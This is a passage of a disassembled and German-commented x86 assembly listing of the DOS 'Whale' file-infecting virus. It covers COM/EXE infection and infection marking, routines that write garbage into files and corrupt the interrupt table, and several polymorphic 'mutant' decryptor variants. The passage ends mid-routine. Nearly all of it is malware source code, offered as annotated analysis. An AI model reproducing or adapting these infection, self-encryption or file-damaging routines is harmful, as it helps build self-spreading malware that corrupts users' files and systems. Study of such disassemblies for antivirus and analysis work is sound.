  2165.                 MOV     AX,WORD PTR DS:[CodBuf+4] ; AX = 0
  2166.                 MOV     WORD PTR DS:[0008h],AX
  2167.  
  2168.                 XOR     AX,5348h  ; 'SH' !!       ; AX = 5348
  2169.                 XOR     AX,4649h  ; 'FI' !!       ; AX = 1501
  2170.  
  2171.                 ADD     DX,AX                     ; DX = 35CD
  2172.                 MCODE   54
  2173.                 JZ      J03761     ; DX = 0 -> Keine Infektion ,
  2174.                                    ; File kann nicht markiert werden.
  2175.  
  2176.                 MOV     AX,WORD PTR DS:[D24F2]  ; Hole Fileattribut
  2177.                 AND     AL,04h                  ; Ist es SYSTEM ?
  2178.                 JNZ     J03761                  ; jmp, wenn ja
  2179.                 CALL    Check_Verfallsdatum
  2180.  
  2181.                 MDECODE 55
  2182.                 ;---------------------( JMP am COM-Start erzeugen )---
  2183.                 MOV     CL,0E9h
  2184.                 MOV     AX,0010h
  2185.                 MOV     BYTE PTR DS:[CodBuf],CL
  2186.                 MUL     SI                       ; AX = COM-Länge in Byte,
  2187.                                                  ; auf ganzen Paragrafen
  2188.                                                  ; gerundet
  2189.                 ADD     AX,23B9h                 ; So weit also + 3 Byte
  2190.                                                  ; zum De-Cryptor
  2191.                 MOV     WORD PTR DS:[CodBuf+1],AX; hier also "JMP J04BCC"
  2192.                 ;----------------------------------------------------
  2193.                 ;-----------------( File als infiziert markieren )---
  2194.                 ;----------------------------------------------------
  2195.                 MOV     AX,WORD PTR DS:[CodBuf  ]; AX = C9E9
  2196.                 ADD     AX,WORD PTR DS:[CodBuf+2]; AX = C9E9+004A =CA33
  2197.                 NEG     AX                       ; AX = - AX = 35CD
  2198.  
  2199.                 XOR     AX,4649h  ; 'FI' !!      ; AX = 7384
  2200.                 XOR     AX,5348h  ; 'SH' !!      ; AX = 20CC (!!)
  2201.  
  2202.                 MOV     WORD PTR DS:[CodBuf+4],AX; Siehe Label "start"
  2203.                 MCODE   55
  2204.                 CALL    Infect_File
  2205. ;--------------------------------------( Ende der Infektionsphase )---
  2206. J03761:         MDECODE 56
  2207.  
  2208.                 MOV     AH,3Eh                  ; CLOSE FILE
  2209.                 CALL    CS:[@INT21]
  2210.  
  2211.                 MOV     CX,CS:[D24F2]
  2212.                 MOV     AX,4301h                ; Change File-Attribut
  2213.                 MOV     DX,CS:[D24F4]           ; Offset Filename
  2214.                 MOV     DS,CS:[D24F6]           ; Segment Filename
  2215.  
  2216.                 CALL    CS:[@INT21]
  2217.                 CALL    J048CD          ; RESET Int 13h und Int 24h
  2218.                 MCODE   56              ; Alles ist so wie vorher...
  2219.                 RETN
  2220. ;=====================================================================
  2221. ;====================================( Vorbereitung für Infektion )===
  2222. ;=====================================================================
  2223. J0378C:         MDECODE 57
  2224.                 PUSH    CS
  2225.                 MOV     AX,5700h                ; Get File-date
  2226.                 POP     DS
  2227.                 CALL    CS:[@INT21]
  2228.  
  2229.                 MOV     WORD PTR DS:[FileTime],CX  ; Uhrzeit
  2230.  
  2231.                 MOV     AX,4200h                ; SEEK Fileanfang
  2232.                 MOV     Word Ptr DS:[FileDate],DX
  2233.                 XOR     CX,CX
  2234.                 XOR     DX,DX
  2235.                 CALL    CS:[@INT21]
  2236.  
  2237.                 MOV     AH,3Fh                  ; Read file
  2238.                 MOV     DX,OFFSET CodBuf        ; nach DS:DX
  2239.                 MOV     CL,1Ch                  ; 1C byte ( EXE-Header ! )
  2240.                 CALL    CS:[@INT21]
  2241.  
  2242.                 XOR     CX,CX                   ; Weils so schoen war ...
  2243.                 MOV     AX,4200h
  2244.                 XOR     DX,DX
  2245.                 CALL    CS:[@INT21]
  2246.  
  2247.                 MOV     CL,1Ch                  ; diesmal nach DS:0004 lesen
  2248.                 MOV     AH,3Fh                  ; == CS:2814
  2249.                 MOV     DX,0004h
  2250.                 CALL    CS:[@INT21]
  2251.  
  2252.                 XOR     CX,CX                   ; seek file-Ende
  2253.                 MOV     AX,4202h
  2254.                 MOV     DX,CX
  2255.                 CALL    CS:[@INT21]
  2256.  
  2257.                 MOV     Word Ptr DS:[FileSize+2],DX     ; FileSize merken
  2258.                 MOV     Word Ptr DS:[FileSize  ],AX
  2259.  
  2260.                 MOV     DI,AX           ; BEISPIEL : AX=9273 -> DI=9273
  2261.                 ADD     AX,000Fh        ; AX=9282
  2262.                 ADC     DX,+00h         ; Übertrag nach DX
  2263.                 AND     AX,0FFF0h       ; AX=9280
  2264.                 SUB     DI,AX           ; DI=FFF3
  2265.                 MOV     CX,0010h        ; CX=10
  2266.                 DIV     CX              ; AX=928 = Anzahl Paras für File
  2267.                 MOV     SI,AX           ; SI=928
  2268.                 MCODE   57
  2269.                 RETN
  2270. ;=====================================================================
  2271. ;=====================================================( Infektion )===
  2272. ;=====================================================================
  2273. Infect_File:    MDECODE 58
  2274. ;*****************************************
  2275. JMP CODE_58     ;************************* e-i-n-g-e-f-ü-g-t-
  2276. ;*****************************************
  2277.  
  2278.                 XOR     CX,CX
  2279.                 MOV     AX,4200h                ; SEEK File-Anfang
  2280.                 MOV     DX,CX                   ; CX=DX=0
  2281.                 CALL    CS:[@INT21]             ; INT 21h
  2282.  
  2283.                 MOV     CL,1Ch                  ; 1C Byte
  2284.                 MOV     AH,40h                  ; Write to File
  2285.  
  2286.                 MOV     DX,Offset CodBuf        ; EXE-Header / COM-Start
  2287.                 CALL    CS:[@INT21]             ; INT 21h
  2288.  
  2289.                 MOV     AX,0010h
  2290.                 MUL     SI                      ; AX = AX * maxparas
  2291.                 MOV     CX,DX                   ; DX = Offset CodBuf
  2292.                 MOV     DX,AX                   ;
  2293.                 MOV     AX,4200h                ; SEEK from start to CX:DX
  2294.                 CALL    CS:[@INT21]             ; INT 21h
  2295.  
  2296.                 MOV     CX,Offset CodBuf        ; CX = CodBuf
  2297.                 XOR     DX,DX                   ; DX = 0
  2298.                 ADD     CX,DI                   ; CX = Offset CodBuf+DI
  2299.  
  2300.                 MOV     AH,40h                  ; WRITE-FILE
  2301.  
  2302.                 CALL    Mutate_Whale            ; Mutieren
  2303.  
  2304.                 CALL    @10_Prozent             ; jedes 10. Mal Wal
  2305.                                                 ; zerstören
  2306.                 CALL    Suche_Fish              ; Jedes 4. Mal FISH.TBL
  2307.                                                 ; schreiben
  2308.  
  2309.                 MOV     BYTE Ptr DS:[InfectFlag],01h ; "habe infiziert"
  2310.                 MOV     BYTE Ptr DS:[D2433],01h ; Verschlüsseln, schreiben,
  2311.                                                 ; entschlüsseln !
  2312.  
  2313.                 PUSH    BX
  2314.                 PUSH    ES
  2315.  
  2316.                 PUSH    CS
  2317.                 POP     ES
  2318.  
  2319.                 MOV     Word Ptr DS:[D2579],SI
  2320.  
  2321.                 MOV     SI,OFFSET J0491A - Offset VirStart
  2322.                 ;-----------------------------------------------------
  2323.                 ;----------------------------( Wal-Code zerstören )---
  2324.                 ;-----------------------------------------------------
  2325.                 MOV     BYTE Ptr DS:[SwapCode_5],0CCh   ; 3259  , 0e8h
  2326.                 MOV     BYTE Ptr DS:[SwapCode_2],0C6h   ; 3A20  , 0e9h
  2327.                 MOV     BYTE Ptr DS:[SWAPCODE_6],0CCh   ; 2cff  , 0c3h
  2328.                 ;-----------------------------------------------------
  2329.                 CALL    Kill_Int_Table  ; nur eine einzige Infektion
  2330. Code_58:        MCODE   58              ; pro Session !
  2331. ;=====================================================================
  2332. ;============================================( Zerstören des Wals )===
  2333. ;=====================================================================
  2334.                 CALL    PATCH                   ; gepatchten code
  2335.                                                 ; zerstören
  2336.                 MOV     SI,SWAPCODE_4
  2337.                 XOR     WORD Ptr DS:[SI],0EF15h ; PATCH zerstören
  2338.                 ADD     SI,+02h
  2339.                 XOR     WORD Ptr DS:[SI],4568h  ; ---""-----------
  2340.                 MOV     BYTE Ptr DS:[SwapCode_1],03Dh
  2341.                                                 ; DECODE zerstören
  2342.                 ;=====( eigentliche infektion )=======================
  2343.                                            ;=========================;
  2344.                 CALL    Code_Whale         ; Whale kodieren          ;
  2345.                                            ; aber NICHT Lauffähig !! ;
  2346.                                            ;=========================;
  2347.  
  2348.                 ;-------------------------( und rückgängig machen )---
  2349.                 MOV     Byte Ptr DS:[SwapCode_1],0E9h
  2350.                 XOR     WORD Ptr DS:[SI],4568h
  2351.                 SUB     SI,+02h
  2352.                 XOR     WORD Ptr DS:[SI],0EF15h
  2353.                 ADD     SI,SwapCode_3                     ; SI = 210Ah
  2354.                 CALL    PATCH
  2355.                 ;=====================================================
  2356.                 MDECODE 59
  2357.                 MOV     SI,[D2579]
  2358.                 POP     ES
  2359.                 POP     BX
  2360.                 CALL    Write_Trash_To_File
  2361.  
  2362.                 MOV     CX,WORD PTR DS:[FileTime]
  2363.  
  2364.                 MOV     AX,5701h                ; SET FILEDATUM !
  2365.                 MOV     DX,WORD PTR DS:[FileDate]
  2366.                 TEST    CH,80h                  ; Stunde > 16 ?
  2367.                 JNZ     J038C3                  ; jmp, wenn nicht
  2368.                 OR      BYTE PTR CS:[TrashFlag],00h
  2369.                 JNZ     J038C3                  ; TrashFlag = "1" :jmp
  2370.                 ADD     CH,80h                  ; Stunde=Stunde-16
  2371. J038C3:         CALL    CS:[@INT21]   ; Set Filedatum
  2372. CODE_59:
  2373.                 MCODE   59
  2374.                 RETN
  2375. ;=====================================================================
  2376. ;===========================( Den Whale-Code zerstören , bei der  )===
  2377. ;===========================( Infektion jedes 10. COM-Files       )===
  2378. ;===========================( Zweck :  Geburtenkontrolle !        )===
  2379. ;=====================================================================
  2380. @10_Prozent:    MDECODE 60
  2381.                 CALL    PushALL
  2382.                 MOV     BYTE PTR CS:[TrashFlag],00h
  2383.                 OR      BYTE Ptr CS:[Offset Exe_Flag-Offset VirStart],0
  2384.                 JNZ     J0390E          ; Jmp, wenn EXE-File
  2385.  
  2386.                 IN      AL,40h
  2387.                 CMP     AL,19h          ; 90 % liegen über 19h
  2388.                 JNB     J0390E          ; fertig, nichts weiter tun
  2389. ;-------------------------------------( Wal zerstört seinen Code )---
  2390.                 INC     BYTE PTR CS:[TrashFlag]; ist jetzt "1"
  2391.                 MOV     BX,000Ah
  2392.                 MOV     CX,0016h
  2393.  
  2394. J038F4:         IN      AL,40h
  2395.                 MOV     CS:[BX],AL      ; 16h Byte von CS:281A..2830
  2396.                 INC     BX              ; durch Zufallszahlen überschreiben
  2397.                 LOOP    J038F4
  2398.                 IN      AL,40h
  2399.                 MOV     BYTE PTR CS:[0001h],AL  ; dito den JMP bei CS:2811
  2400.                 IN      AL,40h
  2401.                 MOV     BYTE PTR CS:[0002h],AL
  2402.                 IN      AL,40h
  2403.                 MOV     BYTE PTR CS:[0003h],AL
  2404.  
  2405. J0390E:         CALL    PopALL
  2406.                 MCODE   60
  2407.                 RETN
  2408. ;----------------------------------------------------
  2409. J03916:         DB      0E9H,09Dh,0F2H   ;JMP     J02BB6 => Nirwana
  2410. ;--------------------------------------------------------------------
  2411. ;------------------------------------------------------( Hmmmmm ) ---
  2412. ;--------------------------------------------------------------------
  2413. J03919:         ;       JZ      J03916  ; => Nirwana !
  2414.                 MOV     DX,DS           ; DX <- DS
  2415.                 POP     AX              ; AX = 20h
  2416.                 ADD     DX,+10h         ; DX = DS:100
  2417.                 MOV     DS,DX           ; DS = DX
  2418.                 MOV     BX,[BX]         ; BX:=0030:011C, DAS IST DER
  2419.                 NEG     BX              ; TASTATURPUFFER ( 40:1C) !
  2420.                 ADD     BX,CX           ; es testet den Tastaturpuffer
  2421. ;********************************************************************
  2422.                 CMP     BX,BX           ;**** EINGEFÜGT *************
  2423. ;********************************************************************
  2424.                 JNZ     J03936          ; dann direkt in die Dekode-Routine
  2425.                                         ; mit SI als Returnadresse
  2426.                 JZ      J03990          ; sonst "decode" scharfmachen
  2427.         ;-------------------------------------------------( trash )---
  2428.         DW      00A72h
  2429.         DW      00B73H
  2430.         DW      0FEE9H
  2431.         DW      0E9F2h
  2432.         DW      43H
  2433.         ;-------------------------------------------------------------
  2434. J03936: JMP     J02B87                  ; = push si, jmp decode
  2435.  
  2436. ;---------------------------------------------------------------------
  2437.         DB      0e9h,06dh,0ah,0e9h,0a4h,0fch
  2438. ;=====================================================================
  2439. ;========================================( Schreibt Müll in Datei )===
  2440. ;=====================================================================
  2441. Write_Trash_To_File:
  2442.                 MDECODE 61
  2443.                 CALL    PushALL
  2444.                 OR      BYTE PTR CS:[TrashFlag],00h
  2445.                 JZ      J0396A          ; falls "0" nichts tun
  2446.  
  2447.                 XOR     AX,AX
  2448.                 IN      AL,40h
  2449.                 MOV     DS,AX
  2450.  
  2451.                 MOV     DX,0400h        ; DX = 400h
  2452.  
  2453.                 IN      AL,40h
  2454.                 XCHG    AH,AL
  2455.                 IN      AL,40h
  2456.                 MOV     CX,AX
  2457.                 AND     CH,0Fh          ; CX = 0xxxh
  2458.                 MOV     AH,40h          ; WRITE File
  2459.  
  2460.                 CALL    CS:[@INT21]
  2461.  
  2462. J0396A:         CALL    PopALL
  2463.                 MCODE   61
  2464.                 RETN
  2465. ;---------------------------------------------------------( trash )---
  2466.                 DB      0b9h,01ch,000h,089H
  2467.                 DB      0d7h,0B3h,000h,0e8H
  2468. ;========================================================()===========
  2469. J0397A:         MDECODE 62
  2470.                 CALL    SaveRegisters
  2471.                 MOV     DI,DX
  2472.                 ADD     DI,+0Dh
  2473.                 PUSH    DS
  2474.                 POP     ES
  2475.                 MCODE   62
  2476.                 JMP     J039EC          ; ist die Datei ausführbar ?
  2477. ;=====================================================================
  2478. ;===========================================( Decode scharfmachen )===
  2479. ;=====================================================================
  2480. J03990:         MOV     BYTE PTR CS:[SI+SwapCode_1],0E9h; JMP erzeugen
  2481.                 JMP     J03A1C
  2482.                 DB      0EAh
  2483. ;=====================================================================
  2484. ;======================================( zerstört die INT-Tabelle )===
  2485. ;=====================================================================
  2486. Kill_Int_Table:
  2487.                 MDECODE 63
  2488.                 CALL    PushALL
  2489.                 MOV     BX,23F1h        ; 4C01
  2490.                 MOV     CX,000Eh        ; CX = 0Eh
  2491.                 PUSH    AX
  2492.                 MOV     AX,0000h
  2493.                 MOV     ES,AX           ; ES = 0000
  2494.                 POP     AX
  2495.  
  2496. J039AF:         IN      AX,40h          ; Hole zufallszahl
  2497.                 MOV     SI,AX
  2498.                 PUSH    ES:[SI]         ; zerstoere INT-Tabelle
  2499.                 POP     [BX]            ; durch 14 Zufalls-Werte !
  2500.                 INC     BX              ; Die in [bx] gemerkt werden
  2501.                 LOOP    J039AF
  2502.                 CALL    PopALL
  2503.                 MCODE   63
  2504.                 RETN
  2505. ;=====================================================================
  2506. ;===================================( check auf ausführbare Datei )===
  2507. ;=====================================================================
  2508. J039C3:         MDECODE 64
  2509.                 CALL    SaveRegisters
  2510.                 PUSH    DS
  2511.                 POP     ES
  2512.                 MOV     CX,0050h
  2513.                 MOV     DI,DX
  2514.                 MOV     BL,00h
  2515.                 XOR     AX,AX
  2516.                 CMP     BYTE Ptr DS:[DI+01h],':' ; Laufwerk im Filenamen ?
  2517.                 JNZ     J039E1
  2518.                 MOV     BL,[DI]              ; Ja, dann Buchstabe nach BL
  2519.                 AND     BL,1Fh               ; HEX-ZAHL drausmachen
  2520. J039E1:         MOV     CS:[D2428],BL        ; und in die DRIVE-Variable
  2521.                 REPNZ   SCASB                ; ENDE des Filenamens suchen
  2522.                 MCODE   64
  2523. ;---------------------------------------------------------------------
  2524. ;---------------------------------( Erkennung der Datei-Extension )---
  2525. ;---------------------------------------------------------------------
  2526. J039EC:         MDECODE 65
  2527.                 MOV     AX,[DI-03h]          ; ENDE - 3, ist EXTENSION
  2528.                 AND     AX,0DFDFh            ; Gross-Schrift
  2529.                 ADD     AH,AL
  2530.                 MOV     AL,[DI-04h]
  2531.                 AND     AL,0DFh              ; Gross-schrift
  2532.                 ADD     AL,AH
  2533.                 MOV     BYTE PTR CS:[EXE_FLAG],00h
  2534. ;---------------------------------------------------------------------
  2535. ;------------( Angenommen, es war ein COM, dann gilt :  )-------------
  2536. ;------------( AND AX,0DFDF : AX = 4D4F  / 'MO'         )-------------
  2537. ;------------( ADD AH,AL    : AX = 9C4F                 )-------------
  2538. ;------------( MOV AL,[Di-4]: AX = 9C43  / 'xC'         )-------------
  2539. ;------------( ADD AL,AH    ; AX = 9CDF                 )-------------
  2540. ;---------------------------------------------------------------------
  2541. ;------------( BEI EXE kommt AL=E2 heraus, bei COM AL=DF)-------------
  2542. ;---------------------------------------------------------------------
  2543.                 CMP     AL,0DFh              ; Also : IST ES EIN COM ?
  2544.                 MCODE   65
  2545. J03A0C:         JZ      J03A17
  2546.                 INC     BYTE PTR CS:[EXE_FLAG]
  2547.                 CMP     AL,0E2h              ; Also : IST ES EIN EXE ?
  2548.                 JNZ     J03A23               ; Weder COM noch EXE
  2549. J03A17:         CALL    GetRegsFromVirstack  ; COM oder EXE
  2550.                 CLC                          ; Carry-Flag löschen
  2551.                 RETN
  2552. ;=====================================================================
  2553. ;====================================( JMP wird zeitweise erzeugt )===
  2554. ;====================================( Einziger JMP zum Relokator )===
  2555. ;=====================================================================
  2556. J03A1C:         XOR     AX,AX
  2557.                 PUSH    ES
  2558.                 POP     DS
  2559. J03A20:         JMP     Relokator
  2560. ;=====================================================================
  2561. J03A23:         CALL    GetRegsFromVirstack   ; Weder COM noch EXE
  2562. J03A26:         STC                           ; Carry-Flag setzen
  2563.                 RETN
  2564.                 DB      2Dh
  2565. ;=====================================================================
  2566. ;===============================================( Get current PSP )===
  2567. ;=====================================================================
  2568. GET_Current_PSP:MDECODE 66
  2569.                 PUSH    BX
  2570.                 MOV     AH,51h
  2571.                 CALL    CS:[@INT21]
  2572.                 MOV     CS:[@PSP],BX
  2573.                 POP     BX
  2574.                 MCODE   66
  2575.                 RETN
  2576. ;=====================================================================
  2577. ;==========================(--------------------------------------)===
  2578. ;==========================(     HIER ENTSTEHEN DIE MUTANTEN !    )===
  2579. ;==========================(--------------------------------------)===
  2580. ;=====================================================================
  2581. Mutate_Whale:   MDECODE 67
  2582.                 CALL    PushALL                 ; AH = 40h !
  2583.                 OR      BYTE PTR CS:[InfectFlag],00h ; Hab schon infiziert !
  2584.                 JNZ     J03A7C
  2585.  
  2586.                 IN      AL,40h                  ; Zufallszahl holen
  2587.                 CMP     AL,80h                  ; nur jedes 2 Mal arbeiten
  2588.  
  2589. J03A55:         JB      J03A7C
  2590.                 CALL    Decode_3A84             ; Bereich 3A84h...436Ch
  2591.  
  2592. J03A5A:         IN      AL,40h                  ; Zufallszahl holen
  2593.                 CMP     AL,1Eh                  ; kleiner als 1eh / 30d
  2594.                 JNB     J03A5A
  2595.  
  2596.                 XOR     AH,AH
  2597.                 MOV     BX,M_SIZE
  2598.                 MUL     BX                      ; Zufallszahl * 4Ch / 76d
  2599.                                                 ; AX : 0000....08E8
  2600.                 ADD     AX,Offset J03A84-Offset VirStart
  2601.                                                 ; AX : 1274....1B5C
  2602.  
  2603.                 PUSH    CS
  2604.                 PUSH    CS
  2605.                 POP     DS
  2606.                 POP     ES                      ; ES=DS=CS
  2607.  
  2608.                                                 ;======================
  2609.                 MOV     SI,AX                   ; Quelle : 1274....1B5C
  2610.                                                 ; bzw.     3A84....436C
  2611.                                                 ; in Stücken zu 4Ch !!!
  2612.                                                 ;======================
  2613.                 MOV     DI,Offset D4BB5-Offset VirStart
  2614.                 MOV     CX,M_SIZE               ; 4C Byte von CS:SI
  2615.                                                 ; nach CS:23A5/4BB5
  2616.                                                 ; schaufeln
  2617.                 CLD
  2618.                 REPZ    MOVSB
  2619.                 CALL    Code_3A84               ; Bereich 3A84h...436Ch
  2620.  
  2621. J03A7C:         CALL    PopALL
  2622.                 MCODE   67
  2623.                 RETN
  2624.  
  2625. ;=================================( dieser Code steht immer davor )===
  2626. ;Code_Whale:    PUSH    CX
  2627. ;               PUSH    BX
  2628. ;               MOV     BX,FirstByte
  2629. ;               MOV     CX,Code_len     ; 2385h ; Wal-Size bis J04BB5
  2630. ;=====================================================================
  2631. ;       Die Nummerierung der Mutanten folgt dem TBSCAN.DAT-File
  2632. ;=====================================================================
  2633. ;=====================================================( MUTANT # 3)===
  2634. ;=====================================================================
  2635. MUT_3           EQU     $
  2636. J03A84:         STD                             ; = OFFSET 4BB5
  2637.                 MOV     CX,DreiByte             ; 0BD8h
  2638. J03A88:         XOR     WORD Ptr DS:[BX],1326h
  2639.                 ADD     BX,+03h
  2640.                 LOOP    J03A88
  2641.  
  2642.                 MOV     CX,BX
  2643.                 POP     CX
  2644.                 MOV     BX,CX
  2645.                 POP     CX
  2646.                 MOV     AH,60h
  2647.                 JMP     SHORT J03AB8
  2648.                 ;--------( einsprung ) ---------( -1131 )------------
  2649. J03A9B:         PUSH    SI                      ; = 4BCC, SI = 100h
  2650.                 CALL    J03AA1                  ;
  2651.  
  2652.                 DW      6945h                   ; 4BD0
  2653.  
  2654. J03AA1:         POP     DX                      ; DX = 4BD0
  2655.                 PUSH    CS
  2656.                 SUB     DX,23A0H                ; DX = 2830
  2657.  
  2658.                 POP     DS
  2659.                 MOV     CX,DreiByte             ; CX = 0BD8
  2660.                 XCHG    DX,SI                   ; DX = 100h, SI = 2830
  2661. J03AAD:         XOR     WORD Ptr DS:[SI],1326h
  2662.                 ADD     SI,+03h
  2663.                 LOOP    J03AAD
  2664.                 JMP     SHORT J03AC0            ; SI = 4BB8
  2665.                 ;----------------------------------------------------
  2666. J03AB8:         SUB     AH,20h         ; => AH = 40, WRITE FILE
  2667.                 ;----------------( db-code )-------------------------
  2668.                 Call_int21 3,MUT_3
  2669.                 ;----------------
  2670.                 JMP     J03A9B
  2671.                 ;----------------------------------------------------
  2672. J03AC0:         SUB     SI,Offset D4BB5-4C40H ; SI = SI + 8Bh = 4C43h/D2433
  2673.                 CMP     BYTE Ptr DS:[SI],01h
  2674.                 JNZ     J03ACB
  2675.                 POP     SI             ; originales SI vom Stack
  2676.                 RETN
  2677.  
  2678. J03ACB:         PUSH    ES
  2679.                 POP     DS
  2680.                 ;----------------
  2681. J03ACD:         JMP_entry 3,mut_3
  2682.                 ;----------------
  2683. ;=====================================================================
  2684. ;=====================================================( MUTANT #5 )===
  2685. ;=====================================================================
  2686. MUT_5           EQU     $
  2687. J03AD0:         MOV     CX,0BD7h                ; CX = 0bd7 ; = OFFSET 4BB5
  2688. J03AD3:         XOR     WORD Ptr DS:[BX],4096h  ; also 11c3 mal, da BX um 3
  2689.                                                 ; erhöht wird
  2690.                 ADD     BX,+03h
  2691.                 LOOP    J03AD3
  2692.                 MOV     AX,ES
  2693.                 POP     AX
  2694.                 MOV     BX,AX
  2695.                 POP     CX
  2696.                 MOV     AH,50h
  2697.                 JMP     SHORT J03B04
  2698.  
  2699. J03AE6:         PUSH    SI
  2700.         ;--------( einsprung ) ------
  2701. J03AE7:         STD
  2702.                 CALL    J03AED
  2703.                 PUSH    CS
  2704.                 DEC     DI
  2705. J03AED:         POP     DX                      ; DX =
  2706.                 PUSH    CS
  2707.                 SUB     DX,23A0h                ; DX =
  2708.                 POP     DS
  2709.                 MOV     CX,0BD7h                ; CX =
  2710.                 XCHG    DX,SI                   ; SI =
  2711.  
  2712. J03AF9:         XOR     WORD Ptr DS:[SI],4096h
  2713.                 ADD     SI,+03h
  2714.                 LOOP    J03AF9
  2715.                 JMP     SHORT J03B0C            ; SI =
  2716.  
  2717.  
  2718. J03B04:         SUB     AH,10h                  ; AH = 40h !
  2719.                 CALL_INT21 5,MUT_5
  2720.                 JMP     J03AE6
  2721.  
  2722. J03B0C:         SUB     SI,0FF72h                ; SI =
  2723.                 CMP     BYTE Ptr DS:[SI],01h
  2724.                 JNZ     J03B17
  2725.                 POP     SI
  2726.                 RETN
  2727.  
  2728. J03B17:         PUSH    ES
  2729.                 POP     DS
  2730. J03B18:         JMP_ENTRY 5,mut_5
  2731. ;=====================================================================
  2732. ;===================================================( MUTANT # 20 )===
  2733. ;=====================================================================
  2734. MUT_20          EQU     $
  2735.                 CMC                             ; = OFFSET 4BB5
  2736.                 CALL    J03B61                  ; CX = 11C3
  2737. J03B20:         XOR     WORD Ptr DS:[BX],0406h
  2738.                 INC     BX
  2739.                 ADD     BX,+01h
  2740.                 CMC
  2741.                 LOOP    J03B20
  2742.                 POP     BX
  2743.                 CMC
  2744.                 POP     CX
  2745.                 CALL_INT21 20,MUT_20
  2746.                 PUSH    AX
  2747.                 POP     AX
  2748.         ;--------( einsprung ) ------
  2749.                 CALL    J03B5E                  ; DS <- 4BCF
  2750.  
  2751.                 MOV     BX,CS
  2752.                 PUSH    BX
  2753.                 MOV     BX,DS                   ; BX <- DS, BX = 4BCF !
  2754.                 POP     DS                      ; DS=CS
  2755.                 ADD     BX,0DC61h               ; BX = 2830
  2756.                 CALL    J03B61                  ; CX = 11C3
  2757.                 MOV     DX,0002h                ; DX = 2
  2758. J03B46:         XOR     WORD Ptr DS:[BX],0406h
  2759.                 ADD     BX,DX
  2760.                 LOOP    J03B46
  2761.                                                 ; BX = 4BB6
  2762.                 ADD     BX,008Dh                ; BX = 4C43 / 2443
  2763.                 PUSH    [BX]                    ; [BX]=[2443]  ????????
  2764.                 POP     CX                      ; CX = ?
  2765.                 DEC     CL                      ; CX = ?
  2766.                 JZ      J03B60                  ;
  2767.                 PUSH    ES
  2768.                 POP     DS
  2769.                 CALL_ENTRY 20,mut_20
  2770.  
  2771. J03B5E:         POP     DS
  2772.                 PUSH    DS
  2773. J03B60:         RETN
  2774.  
  2775. J03B61:         MOV     CX,1100h
  2776.                 OR      CL,0C3h                 ; CX = 11C3
  2777.                 RETN
  2778. ;=====================================================================
  2779. ;===================================================( MUTANT # 21 )===
  2780. ;=====================================================================
  2781. MUT_21          EQU     $
  2782.                 CALL    J03BAE                  ; CX = 11C3
  2783. J03B6B:         XOR     WORD Ptr DS:[BX],239Ah
  2784.                 ADD     BX,+01h
  2785.                 CLC
  2786.                 INC     BX
  2787.                 LOOP    J03B6B
  2788.  
  2789.                 POP     BX
  2790.                 CLD
  2791.                 POP     CX
  2792.                 CALL_INT21 21,MUT_21
  2793.                 PUSH    DX
  2794.                 INC     DX
  2795.                 POP     DX
  2796.         ;--------( einsprung ) ------
  2797.                 CALL    J03BAB                  ; DS <- 4BCF
  2798.                 MOV     BX,CS
  2799.                 PUSH    BX
  2800.                 MOV     BX,DS                   ; BX = 4BCF
  2801.                 POP     DS                      ; DS = CS
  2802.                 ADD     BX,0DC61h               ; BX = 2830
  2803.                 CALL    J03BAE                  ; CX = 11C3
  2804.                 MOV     AX,0002h                ; AX = 0002
  2805.  
  2806. J03B92:         XOR     WORD Ptr DS:[BX],239Ah
  2807.                 NOP
  2808.                 ADD     BX,AX
  2809.                 LOOP    J03B92
  2810.  
  2811.                 ADD     BX,008Dh                ; BX = 4BB6
  2812.                 PUSH    [BX]
  2813.                 POP     BX
  2814.                 DEC     BL                      ; CMP byte Ptr DS:[4C43],1
  2815.                 JZ      J03BAD
  2816.                 PUSH    ES
  2817.                 POP     DS
  2818.                 CALL_ENTRY 21,mut_21
  2819.                 ;-------------------
  2820. J03BAB:         POP     DS
  2821.                 PUSH    DS
  2822. J03BAD:         RETN
  2823.  
  2824. J03BAE:         MOV     CX,0C311h               ; MOV CX,11C3
  2825.                 XCHG    CH,CL                   ; RET
  2826.                 RETN
  2827. ;=====================================================================
  2828. ;===================================================( MUTANT # 22 )===
  2829. ;=====================================================================
  2830. MUT_22          EQU     $
  2831.                 CALL    J03BF9                  ; CX = 11C3
  2832. J03BB7:         XOR     WORD Ptr DS:[BX],0138h
  2833.                 ADD     BX,+02h
  2834.                 LOOP    J03BB7
  2835.                 POP     BX
  2836.                 CLC
  2837.                 POP     CX
  2838.                 CALL_INT21 22,MUT_22
  2839.                 JMP     SHORT J03BCB
  2840.  
  2841.                 DB      23h,87h,0ch
  2842.         ;--------( einsprung ) ------
  2843. J03BCB:         CALL    J03BF6                  ; DS <-
  2844.  
  2845.                 MOV     BX,CS
  2846.                 PUSH    DS                      ; DS = CS
  2847.                 MOV     DS,BX
  2848.                 POP     BX                      ; BX =
  2849.                 SUB     BX,239Fh                ; BX =
  2850.                 CALL    J03BF9                  ; CX = 11C3
  2851.                 MOV     AX,0002h                ; AX = 0002
  2852.  
  2853. J03BDE:         XOR     WORD Ptr DS:[BX],0138h
  2854.                 ADD     BX,AX
  2855.                 LOOP    J03BDE
  2856.                 ADD     BX,008Dh                ; BX =
  2857.                 PUSH    [BX]
  2858.                 POP     BX
  2859.                 DEC     BL                      ;
  2860.                 JZ      J03BF8
  2861.                 PUSH    ES
  2862.                 POP     DS
  2863.                 JMP_ENTRY 22,mut_22
  2864.  
  2865. J03BF6:         POP     DS
  2866.                 PUSH    DS
  2867. J03BF8:         RETN
  2868.  
  2869. J03BF9:         MOV     CX,0C311h                 ; MOV CX,11C3
  2870.                 XCHG    CL,CH                    ; RET
  2871.                 RETN
  2872.  
  2873.                 DB      0CCh
  2874. ;=====================================================================
  2875. ;===================================================( MUTANT # 23 )===
  2876. ;=====================================================================
  2877. MUT_23          EQU     $
  2878.                 XCHG    CL,CH                   ; = OFFSET 4BB5
  2879.                 XOR     CX,94E0h                ; CX=2385 -> 8523 -> 11c3
  2880. J03C06:         INC     BX
  2881.                 ADD     WORD Ptr DS:[BX],00FEh
  2882.                 INC     BX
  2883.                 LOOP    J03C06
  2884.                 MOV     AX,DX
  2885.                 POP     DX
  2886.                 MOV     BX,DX
  2887.                 POP     CX
  2888.                 PUSH    AX
  2889.                 JMP     SHORT J03C42
  2890.  
  2891.         ;--------( einsprung ) ------
  2892. J03C17:         CALL    J03C1B
  2893. J03C1A:         RETN
  2894.  
  2895. J03C1B:         MOV     BX,0DC61h               ; BX =
  2896.                 POP     CX                      ; CX =
  2897.                 ADD     BX,CX                   ; BX =
  2898.                 PUSH    CS
  2899.                 MOV     CX,11C4h                ; CX =
